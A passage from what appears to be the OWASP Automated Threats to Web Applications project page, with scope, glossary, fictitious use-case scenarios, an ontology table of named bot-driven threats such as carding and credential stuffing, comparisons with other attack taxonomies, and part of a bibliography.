Cracking](assets/oats/EN/OAT-002_Token_Cracking.html)\n- [OAT-014 Vulnerability Scanning](assets/oats/EN/OAT-014_Vulnerability_Scanning.html)\n\nNot sure which is which? Use the [threat identification chart](/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) in conjunction with the [full handbook](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN).\n\nWe have also created a poster summarising all the OATs called “The Web’s Unwanted Bad Bots”:\n\nThis poster is also available as a [PDF](/www-project-automated-threats-to-web-applications/assets/files/oat-poster-1v3-3.pdf).\n\n## Licensing\n\nAll the materials are free to use. They are licensed under the [Creative Commons Attribution-ShareAlike 3.0 license](http://creativecommons.org/licenses/by-sa/3.0/), so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.\n\n© OWASP Foundation\n\n---\n\n## Scope and Definitions\n\n### Scope\n\nThe aim was to create a listing of vendor-neutral and technology agnostic terms that describe real-world automated threats to web applications, at a level of abstraction that application owners can relate to. These terms are threat events to web applications undertaken using automated actions.\n\nThe focus is on abuse of functionality - misuse of inherent functionality and related design flaws, some of which are also referred to as business logic flaws. There is almost no focus on implementation bugs. It is not that the latter are not the target for attacks, but there is much more knowledge published in that area with a greater agreement on terminology. All the scenarios identified must require the web to exist for the threat to be materialised. Many of the scenarios have impacts upon the organisation that owns or operates web applications, but some scenarios have impacts more focused on individuals or other bodies. An attack that can be achieved without the web is out of scope.\n\n### Definitions\n\n#### Automated Threats to Web Applications\n\nThreat events to web applications undertaken using automated actions.\n\nAn attack that can be achieved without the web is out of scope.\n\n### Glossary\n\n#### Action\n\nAn act taken against an asset by a threat agent. Requires first that contact occurs between the asset and threat agent (Ref 1)\n\n#### Application\n\nSoftware that performs a business process i.e. not system software\n\nA software program hosted by an information system (Ref 2)\n\n#### Application layer\n\n“Layer 7” in the OSI model (Ref 3) and “application layer” in the TCP/IP model (Ref 4)\n\n#### Threat\n\nAnything that is capable of acting in a manner resulting in harm to an asset and/or organization; for example, acts of God (weather, geological events, etc.); malicious actors; errors; failures (Ref 1)\n\n#### Threat Agent\n\nAny agent (e.g., object, substance, human, etc.) that is capable of acting against an asset in a manner that can result in harm (Ref 1)\n\n#### Threat Event\n\nOccurs when a threat agent acts against an asset (Ref 1)\n\n#### Web\n\nThe World Wide Web (WWW, or simply Web) is an information space in which the items of interest, referred to as resources, are identified by global identifiers called Uniform Resource Identifiers (URI) (Ref 5)\n\nThe first three specifications for Web technologies defined URLs, HTTP, and HTML (Ref 6)\n\n#### Web application\n\nAn application delivered over the web\n\nGlossary references:\n\n1. [Risk Taxonomy, Technical Standard, The Open Group, 2009](http://pubs.opengroup.org/onlinepubs/9699919899/toc.pdf)\n2. [NISTIR 7298 rev 2, NIST](http://nvlpubs.nist.gov/nistpubs/ir/2013/NIST.IR.7298r2.pdf)\n3. [OSI model, Wikipedia](http://en.wikipedia.org/wiki/OSI_model)\n4. [TCP/IP model, Wikipedia](http://en.wikipedia.org/wiki/Internet_protocol_suite)\n5. [Architecture of the World Wide Web, Volume One, W3C](http://www.w3.org/TR/webarch/)\n6. [Help and FAQ, W3C](http://www.w3.org/Help/)\n\n---\n\n## Use Case Scenarios\n\nThe following scenarios and organisation names are completely fictitious.\n\n### Defining application development security requirements\n\nCinnaminta SpA intends to build and launch a new multi-lingual and multi-currency ecommerce website. The development will be outsourced and Cinnaminta has been working on the functional design document. Among many other requirements, the application security specification requires that the website must not include any vulnerabilities identified in PCI DSS Requirements, nor any other vulnerabilities that could affect the protection of payment cardholder data. Cinnaminta specifies that the website’s payment functions must not be susceptible to the threat events **OAT-001 Carding** or **OAT-010 Card Cracking** as defined in the **OWASP Automated Threat Handbook**. In addition, the application must interact with the company’s existing fraud detection system to counter **OAT-012 Cashing Out**. The requirements are specified in terms of these threat events, rather than particular product or service categories. Development houses responding to the call for bids use the ontology to focus their answers to these aspects appropriately.\n\n### Sharing intelligence within a sector\n\nUnlimited Innovations Inc develops and supports patient-facing software solutions to a range of healthcare providers, many of which participate in the National Health Service Cyber Intelligence Sharing Center (NHS-CISC). Unlimited Innovations already builds continuous monitoring capabilities into its software and decides to provide an optional enhancement so that customers could choose to share their misuse event data with each other, to benefit from the combined threat intelligence. Rather than sharing large quantities of low-level data, Unlimited Innovations aggregates information and broadcasts validated and categorised threat data amongst the participating organisations. Automation attacks are classified according to the threat events defined in the **OWASP Automated Threat Handbook** so that each receiving party understands the nature of the threat. Even organisations that do not want to take part in this information sharing can benefit, since their own categorised information is made available to internal business management in the form of an easy-to-comprehend monitoring dashboard. The information gathered can also be fed into their other business information management systems to help improve patient service.\n\n### Exchanging threat data between CERTs\n\nNational Computer Emergency Response Teams (CERTs) recognise that sharing of local information can contribute to worldwide prevention of cyber attacks. Despite advances in cooperation between CERTs, anything to increase continuity and interoperability, such as standards for data exchange, is encouraged. CERT Zog is concerned about the sparsity of application-specific data it receives, and also the classification of that data. It has a particular concern about attacks and breaches that affect sectors defined in Zog’s 2015 national cyber security strategy. CERT Zog and its neighbour CERT Tarset agree to tag threat events using the **OWASP Automated Threat Handbook** in order to add greater context to existing solutions being used for threat data exchange between them. The programme also collects sector metadata, so that all organisations within these can benefit from the centralised intelligence.\n\n### Enhancing application penetration test findings\n\nSpecialist application security penetration testing firm Cherak Industries Pte Ltd works primarily for financial services companies in the banking and insurance sectors, and is looking to expand its business throughout Asia. Cherak has some innovative pen test result reporting systems which integrate with client software fault and vulnerability tracking systems, and it actively looks for methods to provide additional value to its clients. Cherak has identified that pen test clients would benefit from help to in understanding the effects of combinations of vulnerabilities, especially design flaws, and has decided to utilise the **OWASP Automated Threat Handbook** to define and explain the automation-related threats. The individual vulnerabilities were scored as normal using CVSSv2 and v3, the matching CWEs identified, and mitigations in place documented. In addition, Cherak uses the threat events defined in the **OWASP Automated Threat Handbook** to help create a new section in the executive summary that explains how combinations of the issues found could lead to automation threats and the possible technical and business impacts. For example, an assessment for one client had identified weaknesses in authentication so that there is a risk of **OAT-008 Credential Stuffing**. The defined identifier was provided to the client, so its technical staff could refer to additional information on the OWASP website.\n\n### Specifying service acquisition needs\n\nFalstone Paradise Inc is concerned about malicious use of their portfolio of hotel and resort websites. The majority of the websites use a shared application platform, but there are some unique applications and a large number of other micro-sites, some of which use generic content management systems such as Wordpress and Drupal. Falstone Paradise has identified that its IT operations team are spending too much time dealing with the effects of automated misuse, such as cleaning up data, resetting customer accounts and providing extra capacity during attacks. Furthermore, the unwanted automation is also causing some instabilities leading to negative feedback from customers. Therefore Falstone Paradise decides to go out to the security marketplace to identify, assess and select products or services that might help address these automation issues for all its websites. Their buying team works with their information technology colleagues to write the detailed requirements in an Invitation to Tender (ITT) document. This describes the types of attacks its web applications are receiving, their frequency of occurrence and their magnitudes. These are defined according to the **OWASP Automated Threat Handbook**, so that vendors do not misunderstand the requirements, and each vendor’s offering can be assessed against the particular automation threat events of concern.\n\n### Characterising vendor services\n\nBetter Best Ltd has developed an innovative technology to help gaming companies defend against a range of automated threats that can otherwise permit cheating and distortion of the game, leading to disruption for normal players. The solution can be deployed on premises, but is also available in the cloud as a service. But Better Best is finding difficulty explaining its solution in the market place, especially since it does not fit into any conventional product category. Better Best decide to use the terminology and threat events listed in the **OWASP Automated Threat Handbook** to define their product’s capabilities. They hope this will provide some clarity about their offering, and also demonstrate how their product can be used to replace more than one other conventional security device. Additionally, Better Best writes a white paper describing how their product has been successfully used by one of their reference customers Hollybush Challenge Games to protect against **OAT-006 Expediting**, **OAT-005 Scalping**, **OAT-016 Skewing** and **OAT-013 Sniping**.\n\n---\n\n## Ontology\n\n### Introduction\n\nThe A-Z list of automated threat events and summary descriptions, defined in full in the [OWASP Automated Threat Handbook](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), is:\n\n| Identifier | OAT Name | Summary Defining Characteristics |\n| --- | --- | --- |\n| [OAT-020](assets/oats/EN/OAT-020_Account_Aggregation.html) | Account Aggregation | Use by an intermediary application collecting together multiple accounts and interacting on their behalf |\n| [OAT-019](assets/oats/EN/OAT-019_Account_Creation.html) | Account Creation | Create multiple accounts for subsequent misuse |\n| [OAT-003](assets/oats/EN/OAT-003_Cost-Inflation_Fraud.html) | Cost-Inflation Fraud | Mass use of functionality to illegitamately profit from chargeable supporting services |\n| [OAT-009](assets/oats/EN/OAT-009_CAPTCHA_Defeat.html) | CAPTCHA Defeat | Solve anti-automation tests |\n| [OAT-010](assets/oats/EN/OAT-010_Card_Cracking.html) | Card Cracking | Identify missing start/expiry dates and security codes for stolen payment card data |\n| [OAT-001](assets/oats/EN/OAT-001_Carding.html) | Carding | Multiple payment authorisation attempts to verify the validity of bulk stolen payment card data |\n| [OAT-012](assets/oats/EN/OAT-012_Cashing_Out.html) | Cashing Out | Buy goods or obtain cash utilising validated stolen payment card or other user account data |\n| [OAT-007](assets/oats/EN/OAT-007_Credential_Cracking.html) | Credential Cracking | Identify valid login credentials by trying different values for usernames and/or passwords |\n| [OAT-008](assets/oats/EN/OAT-008_Credential_Stuffing.html) | Credential Stuffing | Mass log in attempts used to verify the validity of stolen username/password pairs |\n| [OAT-021](assets/oats/EN/OAT-021_Denial_of_Inventory.html) | Denial of Inventory | Deplete goods or services stock without completing the purchase or committing to the transaction |\n| [OAT-015](assets/oats/EN/OAT-015_Denial_of_Service.html) | Denial of Service | Target resources of the application and database servers, or individual user accounts, reducing availability |\n| [OAT-006](assets/oats/EN/OAT-006_Expediting.html) | Expediting | Perform actions to hasten progress of usually slow, tedious or time-consuming actions |\n| [OAT-004](assets/oats/EN/OAT-004_Fingerprinting.html) | Fingerprinting | Elicit information about the supporting software and framework types and versions |\n| [OAT-018](assets/oats/EN/OAT-018_Footprinting.html) | Footprinting | Probe and explore application to identify its constituents and properties |\n| [OAT-005](assets/oats/EN/OAT-005_Scalping.html) | Scalping | Obtain limited-availability and/or preferred goods/services by unfair methods |\n| [OAT-011](assets/oats/EN/OAT-011_Scraping.html) | Scraping | Collect application content and/or other data for use elsewhere |\n| [OAT-016](assets/oats/EN/OAT-016_Skewing.html) | Skewing | Repeated link clicks, page requests or form submissions intended to alter some metric |\n| [OAT-013](assets/oats/EN/OAT-013_Sniping.html) | Sniping | Last minute bid or offer for goods or services |\n| [OAT-017](assets/oats/EN/OAT-017_Spamming.html) | Spamming | Malicious or questionable information addition to public or private content, or messages |\n| [OAT-002](assets/oats/EN/OAT-002_Token_Cracking.html) | Token Cracking | Mass enumeration of coupon numbers, voucher codes, discount tokens, etc |\n| [OAT-014](assets/oats/EN/OAT-014_Vulnerability_Scanning.html) | Vulnerability Scanning | Crawl and fuzz application to identify weaknesses and possible vulnerabilities |\n| | | |\n\n### Comparison with other dictionaries, taxonomies and lists\n\n#### [Common Attack Pattern Enumeration and Classification](https://capec.mitre.org/) (CAPEC)\n\nCAPEC is a dictionary and classification taxonomy of known attacks on software. Its primary classification structures are:\n\n- [Domains of attack](https://capec.mitre.org/data/definitions/3000.html) (3000) - Social Engineering (403), [Supply Chain](https://capec.mitre.org/data/definitions/437.html) (437), Communications (512), [Software](https://capec.mitre.org/data/definitions/513.html) (513), Physical Security (514), Hardware (515)\n- Mechanism of Attack (1000) - Gather Information (118), Deplete Resources (119), Injection (152), Deceptive Interactions (156), Manipulate Timing and State (172), Abuse of Functionality (210), Probabilistic Techniques (223), Exploitation of Authentication (225), Exploitation of Authorization (232), Manipulate Data Structures (255), Manipulate Resources (262), Analyze Target (281), Gain Physical Access (436), Malicious Code Execution (525), Alter System Components (526), Manipulate System Users (527)\n\n#### [WASC Threat Classification](http://projects.webappsec.org/w/page/13246978/Threat%20Classification)\n\nThe WASC Threat Classification classifies weaknesses and attacks that can lead to the compromise of a website, its data, or its users.\n\n#### [OWASP WASC Web Hacking Incidents Database Project](https://wiki.owasp.org/index.php/OWASP_WASC_Web_Hacking_Incidents_Database_Project) (WHID)\n\nWHID classifies publicly known incidents using:\n\n- attack methods e.g. ARP spoofing, abuse of functionality, account compromise, administration error, automation, backdoor, banking trojan, brute force, clickjacking, code injection, content injection, content spoofing, credential/session prediction, cross site request forgery (CSRF), cross-site scripting (XSS), denial of service, directory traversal, domain hijacking, DNS hijacking, forceful browsing, HTTP response splitting, hidden parameter manipulation, hosting malicious code, information leakage, insufficient authentication, known vulnerability, local file inclusion (LFI), malvertising, malware, malware injection, mass assignment, misconfiguration, OS commanding, parameter manipulation, path traversal, phishing, predictable resource location, process automation, redirection, remote file inclusion (RFI), rogue 3rd party app, scaping, search engine poisoning, shell injection, social engineering, stolen credentials, SQL injection, unintentional information disclosure, weak password recovery validation, worm\n- weakness e.g. abuse of functionality, application misconfiguration, directory indexing, improper filesystem permissions, improper input handling, improper output handling, information leakage, insecure indexing, insufficient anti-automation, insufficient authentication, insufficient authorization, insufficient entropy, insufficient password recovery, insufficient process validation, insufficient session expiration, insufficient transport layer protection, misconfiguration, predictable resource location, weak password\n- outcome e.g. account hijacking, account takeover, botnet participation, chaos, credit card leakage, data loss, defacement, DDoS attacks, DNS hijacking, DNS redirection, disinformation, disclosure only, downtime, extortion, fraud, information warfare, leakage of information, link spam, loss of sales, malware distribution, monetary loss, phishing, planting of malware, service disruption, session hijacking, spam, spam links, stolen credentials, worm\nPlus other/various/unknown.\n\n---\n\n## Bibliography\n\nThe following academic, open source, commercial and news sources were used in the research on automated threats to web applications. OWASP is a worldwide not-for-profit charitable organization focused on improving the security of software. We operate under a vendor neutral policy and we do not endorse products or services.\n\n- 10 years of Application Security, Denyall http://www.denyall.com/resources/whitepapers/?aliId=3438442\n- 2012 Payment Card Threat Report https://www.securitymetrics.com/static/resources/orange/2012%20Payment%20Card%20Threat%20Report%20copy.pdf\n- 2014 Bot Traffic Report: Just the Droids You were Looking for http://www.incapsula.com/blog/bot-traffic-report-2014.html\n- 3 Types of ‘Return Fraud’ to Monitor this Holiday Season http://www.practicalecommerce.com/articles/3168-3-Types-of-%E2%80%98Return-Fraud-to-Monitor-this-Holiday-Season\n- 7 Ways Bots Hurt Your Website, Distil Networks http://www.distilnetworks.com/7-ways-bots-hurt-website-whitepaper/\n- Abusing HTML 5 Structured Client-side Storage 2008 http://packetstorm.wowhacker.com/papers/general/html5whitepaper.pdf\n- Acquiring Experience with Ontology and Vocabularies, Walt Melo, Risa Mayan and Jean Stanford, 2011 http://www.omg.org/news/meetings/workshops/SOA-HC/presentations-2011/13_SC-6_Melo_Stanford_Mayan.pdf\n- An Anatomy of a SQL Injection Attack Hacker Intelligence Initiative Imperva http://www.imperva.com/docs/HII_An_Anatomy_of_a_SQL_Injection_Attack_SQLi.pdf\n- The Anatomy of Clickbot.A https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/daswani/daswani.pdf\n- Anatomy of comment spam Hacker Intelligence Initiative Imperva http://www.imperva.com/docs/HII_Anatomy_of_Comment_Spam.pdf\n- Anti-Automation Monitoring and Prevention 2015 https://www.clerkendweller.uk/2015/1/29/AntiAutomation-Monitoring-and-Prevention\n- Anti-DDoS Solution for Internet Corporation http://www.nsfocus.com/uploadfile/Solution/NSFOCUS%20Anti-DDoS%20Solution%20for%20Internet%20Corporation.pdf\n- Anti-Fraud Principles and Proposed Taxonomy Sep 2014 http://www.iab.net/media/file/IAB_Anti_Fraud_Principles_and_Taxonomy.pdf\n- Apache Security Ivan Ristic\n- Application Security Desk Reference, OWASP https://www.owasp.org/index.php/Category:OWASP_ASDR_Project\n- Application Security Guide For CISOs, OWASP, 2013 https://www.owasp.org/index.php/File:Owasp-ciso-guide.pdf\n- AppSensor, OWASP https://www.owasp.org/index.php/OWASP_AppSensor_Project\n- Attack & Defense Labs http://www.andlabs.org/html5.html\n- Attack categories OWASP https://www.owasp.org/index.php/Category:Attack\n- Attack Trees, Schneier, Dr. Dobb’s Journal, December 1999 https://www.schneier.com/paper-attacktrees-ddj-ft.html\n- Attacking with HTML5 2010 https://media.blackhat.com/bh-ad-10/Kuppan/Blackhat-AD-2010-Kuppan-Attacking-with-HTML5-wp.pdf\n- Automated attacks Hacker Intelligence Initiative Imperva http://www.imperva.com/docs/HII_Automation_of_Attacks.pdf\n- Avoiding the Top 10 Software Security Design Flaws http://cybersecurity.ieee.org/images/files/images/pdf/CybersecurityInitiative-online.pdf\n- Bad Bots On The Rise Dec 2014 http://www.darkreading.com/informationweek-home/bad-bots-on-the-rise/d/d-id/1318276\n- Banking Botnets Persist Despite Takedowns, Dell SecureWorks, 2015 http://www.secureworks.com/cyber-threat-intelligence/threats/banking-botnets-persist-despite-takedowns/\n- The Barracuda Web Application Firewall: XML Firewall https://www.barracuda.com/assets/docs/White_Papers/Barracuda_Web_Application_Firewall_WP_XML_Firewall.pdf\n- Blocking Brute Force Attacks http://www.cs.virginia.edu/~csadmin/gen_support/brute_force.php\n- Bot Traffic Growing Problem for Digital Oct 2014 http://www.netnewscheck.com/article/36537/bot-traffic-growing-problem-for-digital\n- BotoPedia Incapsula http://www.botopedia.org/\n- Boy in the Browser Imperva http://www.imperva.com/DefenseCenter/ThreatAdvisories/Boy_in_the_Browser\n- Business Logic Attacks - Bots and BATs, Eldad Chai, 2009 http://www.owasp.org/images/9/96/AppSecEU09_BusinessLogicAttacks_EldadChai.ppt\n- Bypassing Client Application Protection Techniques http://www.securiteam.com/securityreviews/6S0030ABPE.html\n- A CAPTCHA in the Rye Hacker Intelligence Initiative Imperva http://www.imperva.com/docs/HII_a_CAPTCHA_in_the_Rye.pdf\n- Characterizing Large Scale Click fraud http://cseweb.ucsd.edu/~voelker/pubs/za-ccs14.pdf\n- Charter Addition Proposal: “Trusted Code” for the Web https://lists.w3.org/Archives/Public/public-webappsec/2015Mar/0150.html\n- A cheesy Apache / IIS DoS vuln (+a question) http://www.securityfocus.com/archive/1/456339/30/0/threaded\n- China’s Man-on-the-Side Attack on GitHub http://www.netresec.com/?page=Blog&month=2015-03&post=China%27s-Man-on-the-Side-Attack-on-GitHub\n- The CISO Survey and Report, OWASP, 2013 https://www.owasp.org/index.php/File:Owasp-ciso-report-2013-1.0.pdf\n- Common Attack Pattern Enumeration and Classification (CAPEC), Mitre https://capec.mitre.org/\n- Common Cyber Attacks: Reducing the Impact CERT-UK https://www.gov.uk/government/uploads/system/uploads/attachment_data/file/400106/Common_Cyber_Attacks-Reducing_The_Impact.pdf\n- Corporate espionage – the internet’s new growth industry http://www.itproportal.com/2015/03/19/corporate-espionage-internets-new-growth-industry/\n- CSA Top Threats to Cloud Computing https://cloudsecurityalliance.org/topthreats/csathreats.v1.0.pdf\n- CSRF vulnerability in GMail service http://seclists.org/fulldisclosure/2009/Mar/29\n- CWE/SANS Top 25 Most Dangerous Software Errors, 2011 http://cwe.mitre.org/top25/\n- Cyber Fraud - Tactics Techniques and Procedures http://www.crcpress.com/product/isbn/9781420091274\n- Cybercrime Report: Q1 2015, ThreatMetrix, 2015 http://info.threatmetrix.com/WP-2015Q1CybercrimeReport_WP-LP.html\n- Data Breach Investigations Report (DBIR), 2014 http://www.verizonenterprise.com/DBIR/2014/\n- Data Breach Investigations Report (DBIR), 2015 http://www.verizonenterprise.com/DBIR/2015/\n- Data Breaches Fuel Login Attacks Akamai Feb 2015 http://www.stateoftheinternet.com/downloads/pdfs/2014-state-of-the-internet-threat-advisory-public-data-breaches-fuel-login-attacks.pdf\n- Data Scraping Wikipedia http://en.wikipedia.org/wiki/Data_scraping\n- DDoS Quick Guide https://www.us-cert.gov/sites/default/files/publications/DDoS%20Quick%20Guide.pdf\n- DDoS Threat Landscape Report, 2013-2014 http://lp.incapsula.com/rs/incapsulainc/images/2013-14_ddos_threat_landscape.pdf\n- Defending Against an Internet-based Attack on the Physical World http://avirubin.com/scripted.attacks.pdf\n- Defending Against Application-Based DDoS Attacks with the Barracuda Web Application Firewall https://www.barracuda.com/assets/docs/White_Papers/Barracuda_Web_Application_Firewall_WP_Defending%20 *Against* %20Application-Based_%20DDoS_%20Attacks.pdf\n- Demystifying HTML 5 Attacks http://resources.infosecinstitute.com/demystifying-html-5-attacks/\n- Denial of Service Attacks: A Comprehensive Guide to Trends Techniques and Technologies Hacker Intelligence Initiative Imperva http://www.imperva.com/docs/HII_Denial_of_Service_Attacks-Trends_Techniques_and_Technologies.pdf\n- Detecting and Blocking Site Scraping Attacks Imperva http://www.imperva.com/docs/WP_Detecting_and_Blocking_Site_Scraping_Attacks.pdf\n- Detecting Automation of Twitter Accounts: Are you a human cyborg or a bot? http://www.cs.wm.edu/~hnw/paper/tdsc12b.pdf\n- Detecting Malice Robert “RSnake” Hansen 2009 http://www.detectmalice.com/\n- Directive 2002/58/EC of the European Parliament and of the Council of 12 July 2002 concerning the processing of personal data and the protection of privacy in the electronic communications sector (Directive on privacy and electronic communications) http://eur-lex.europa.eu/legal-content/EN/TXT/?qid=1414072277428&uri=CELEX:32002L0058\n- Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data http://eur-lex.europa.eu/legal-content/en/ALL/?uri=CELEX:31995L0046\n- Distributed Denial-of-Service (DDoS) Cyber-Attacks Risk Mitigation and Additional Resources Federal Financial Institutions Examination Council http://www.ffiec.gov/press/PDF/FFIEC%20DDoS%20Joint%20Statement.pdf\n- Do Evil - The Business of Social Media Bots Forbes http://www.forbes.com/sites/lutzfinger/2015/02/17/do-evil-the-business-of-social-media-bots/\n- DoS and DDoS Glossary of Terms prolexic http://www.prolexic.com/knowledge-center-dos-and-ddos-glossary.html#layer-7-ddos-attack\n- E-commerce Malware Trustwave https://gsr.trustwave.com/topics/placeholder-topic/e-commerce-malware/\n- Exploiting Software, G. Hoglund and G. McGraw, Addison-Wesley, 2004\n- Five Trends to Track in E-Commerce Fraud, ThreatMetrix, 2013 http://info.threatmetrix.com/rs/threatmetrix/images/Five_Trends_eCommerce_Fraud_WP.pdf\n- Hacker builds cheatbot for hit app Trivia Crack http://www.theregister.co.uk/2015/03/26/hacker_builds_trivia_crack_cheat_app/\n- Has Walmart opened itself up to “Denial of inventory” attacks? https://arstechnica.com/business/2012/05/has-walmart-opened-itself-up-to-denial-of-inventory-attacks/\n- How Hoarder Bots Steal sales from Online Retailers https://www.internetretailer.com/mobile/2016/12/16/how-hoarder-bots-steal-sales-online-retailers\n-\n - How to Defend Against DDoS Attacks - Strategies for the Network Transport and Application Layers Prolexic http://www.prolexic.com/kcresources/white-paper/strategies-for-the-network-transport-and-application-layers-412/Strategies_for_the_Network_Transport_and_Application_Layers_Prolexic_White_Paper_A4_082412.pdf\n- How to Defend Online Travel Websites in the Era of Site Scraping, Distil Networks http://www.distilnetworks.com/defend-online-travel-websites-era-site-scraping-download/\n- How to Shop for Free Online - Security Analysis of Cashier-as-a-Service Based Web Stores http://research.microsoft.com/pubs/145858/caas-oakland-final.pdf\n- HTML5 Overview A look at HTML5 Attack Scenarios Trend Micro 2011 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/reports/rpt_html5-attack-scenarios.pdf\n- HTML5 Top 10 Threats Stealth Attacks and Silent Exploits 2012 https://media.blackhat.com/bh-eu-12/shah/bh-eu-12-Shah_HTML5_Top_10-WP.pdf\n- HTML5 web security 2011 http://media.hacking-lab.com/hlnews/HTML5_Web_Security_v1.0.pdf\n- HTTPPOST - Slow POST Wong Onn Chee OWASP AppSec DC 2010 https://www.owasp.org/images/4/43/Layer_7_DDOS.pdf\n- If you’ve got @British_Airways account may make sense to change your password. Just had all my Avios cleared out! https://twitter.com/suttonnick/status/581556027948195840/photo/1\n- Internet Security Threat Report, Volume 19, 2014 http://www.symantec.com/content/en/us/enterprise/other_resources/b-istr_main_report_v19_21291018.en-us.pdf\n- An Investigation into the Detection and Mitigation of Denial of Service (DoS) Attacks http://www.springer.com/gb/book/9788132202769\n- Is Your Data Center Ready for Today’s DDoS Threats? DDoS attack types protection methods and testing your detection and mitigation defenses http://www.fortinet.com/sites/default/files/whitepapers/WP-DDoS-Testing.pdf\n- Joomla Reflection DDoS-for-Hire Akamai Feb 2015 http://www.stateoftheinternet.com/downloads/pdfs/2015-state-of-the-internet-threat-advisory-joomla-reflection-attack-ddos-for-hire.pdf\n- Layer 7 DDOS – Blocking HTTP Flood Attacks http://blog.sucuri.net/2014/02/layer-7-ddos-blocking-http-flood-attacks.html\n- Lenovo Superfish put smut on my system’ – class-action lawsuit The Register http://www.theregister.co.uk/2015/02/23/lenovo_superfish_class_action_lawsuit/\n- List of Attack Vectors Relative Vulnerability Rating TECAPI http://www.tecapi.com/public/relative-vulnerability-rating-gui.jsp#\n- Man in the Browser http://scisweb.ulster.ac.uk/~kevin/IJACI-Vol4No1-maninbrowser.pdf\n- Man in the Browser Attack https://www.owasp.org/index.php/Man-in-the-browser_attack\n- Mapping and Measuring Cybercrime, Oxford Internet Institute http://www.oii.ox.ac.uk/publications/FD18.pdf\n- Massive Changes in the Criminal Landscape Europol 2015 https://www.europol.europa.eu/content/massive-changes-criminal-landscape\n- Matching Attack Patterns to Security Vulnerabilities in Software-Intensive System Designs http://collaboration.csc.ncsu.edu/laurie/Papers/ICSE_Final_MCG_LW.pdf\n- Mitigating DDoS Attacks with F5 Technology F5 https://f5.com/resources/white-papers/mitigating-ddos-attacks-with-f5-technology\n- Mitigating the DoS/DDosS Threat, Radware, 2012 http://www.radware.com/PleaseRegister.aspx?returnUrl=6442452061\n- Modern Web Attacks, Sophos, 2007 http://www.sophos.com/en-us/why-sophos/our-people/technical-papers/modern-web-attacks.aspx\n- ModSecurity Advanced Topic of the Week: Mitigating Slow HTTP DoS Attacks https://www.trustwave.com/Resources/SpiderLabs-Blog/(Updated)-ModSecurity-Advanced-Topic-of-the-Week–Mitigating-Slow-HTTP-DoS-Attacks/\n- Most common attacks on web applications https://ipsec.pl/web-application-security/most-common-attacks-web-applications.html\n- Multi-dimensional Vulnerability Hierarchies Daniel Miessler https://danielmiessler.com/study/multi-dimensional-vulnerability-hierarchies/\n- New Wave of DDoS Attacks Launched BankInfoSecurity.com Mar 2013 http://www.bankinfosecurity.com/new-wave-ddos-attacks-launched-a-5584/op-1\n- NOMAD: Toward Non-Invasive Moving Target Defense Against Web Bots http://faculty.cs.tamu.edu/guofei/paper/NOMAD_CNS13.pdf\n- Online Ad Fraud Exposed: Advertisers Losing $6.3 Billion To $10 Billion Per Year Sep 2014 http://www.darkreading.com/analytics/threat-intelligence/online-ad-fraud-exposed-advertisers-losing-$63-billion-to-$10-billion-per-year/d/d-id/1317979\n- Online Data Companies versus Bots: The Fight is on for Control of Online Data, Distil Networks http://www.distilnetworks.com/online-data-companies-vs-bots-download/\n- Optimal Airline Ticket Purchasing Using Automated User-Guided Feature Selection http://ijcai.org/papers13/Papers/IJCAI13-032.pdf\n- Payment Checkout Flaws and Bugs 2014 https://www.clerkendweller.uk/2014/11/4/Payment-Checkout-Flaws-and-Bugs\n- PCI Compliance Report 2015 Verizon http://www.verizonenterprise.com/pcireport/2015/\n- Pixel Perfect Timing Attacks with HTML5 2013 http://www.contextis.com/services/research/white-papers/pixel-perfect-timing-attacks-html5/\n- Polymorphism as a Defense for Automated Attack of Websites http://link.springer.com/chapter/10.1007%2F978-3-319-07536-5_30\n- Preventing Web Scraping: Best Practice https://creativedigitalideas.files.wordpress.com/2014/11/best-practice-to-prevent-web-scraping.pdf\n- Profile: Automated Credit Card Fraud http://old.honeynet.org/papers/profiles/cc-fraud.pdf\n- Protecting Against Web Floods, Radware http://www.radware.com/PleaseRegister.aspx?returnUrl=6442452968\n- Q4 2014 State of the Internet Security Report prolexic http://www.stateoftheinternet.com/downloads/pdfs/2014-internet-security-report-q4.pdf\n- Reflection injection http://cybersecurity.ieee.org/images/files/images/pdf/CybersecurityInitiative-online.pdf\n- A Report on taxonomy and evaluation of existing inventories, ENISAhttp://ecrime-project.eu/wp-content/uploads/2015/02/E-Crime-Deliverable-2-1-20141128_FINAL.pdf\n- Reporting Intellectual Property Crime: A Guide for Victims of Copyright Infringement, Trademark Counterfeiting, and Trade Secret Theft, Dept of Justice http://www.justice.gov/criminal/cybercrime/docs/ip-victim-guide-and-checklist-march-2013.pdf\n- SANS Top 20 Critical Controls https://www.sans.org/critical-security-controls/\n- Securing Websites, Sophos, 2011 http://www.sophos.com/en-us/why-sophos/our-people/technical-papers/securing-websites.aspx\n- Security Insights: Defending Against Automated Threats http://www.securityweek.com/security-insights-defending-against-automated-threats\n- Server side DDoS Imperva http://www.imperva.com/DefenseCenter/ThreatAdvisories/DDOS_Attack_Method_Payload_05182010\n- Slow Read Denial of Service attack https://code.google.com/p/slowhttptest/wiki/SlowReadTest\n- Slow-Read DoS Attack https://www.trustwave.com/Resources/SpiderLabs-Blog/ModSecurity-Advanced-Topic-of-the-Week–Mitigation-of–Slow-Read–Denial-of-Service-Attack/\n- Slowloris HTTP DoS http://ha.ckers.org/slowloris/\n- So what are the “most critical” application flaws? On new OWASP Top 10 https://ipsec.pl/application-security/2013/so-what-are-most-critical-application-flaws-new-owasp-top-10.html\n- Social Media Bots Offer Phony Friends and Real Profit NY Times http://www.nytimes.com/2014/11/20/fashion/social-media-bots-offer-phony-friends-and-real-profit.html?_r=1\n- Software Vulnerability Analysis, Krsul, 1998 http://www.krsul.org/ivan/articles/main.pdf\n- Sophos Security Threat Report http://blogs.sophos.com/2014/12/11/our-top-10-predictions-for-security-threats-in-2015-and-beyond/\n- SpoofedMe Social Login Attack Discovered by IBM X-Force Researchers http://securityintelligence.com/spoofedme-social-login-attack-discovered-by-ibm-x-force-researchers/#.VSuiEhPSngM\n- State of Software Security Report, Volume 5, Veracode, 2013 https://info.veracode.com/state-of-software-security-report-volume5.html\n- Stopping Automated Attack Tools http://www.technicalinfo.net/papers/StoppingAutomatedAttackTools.html\n- Taxonomy 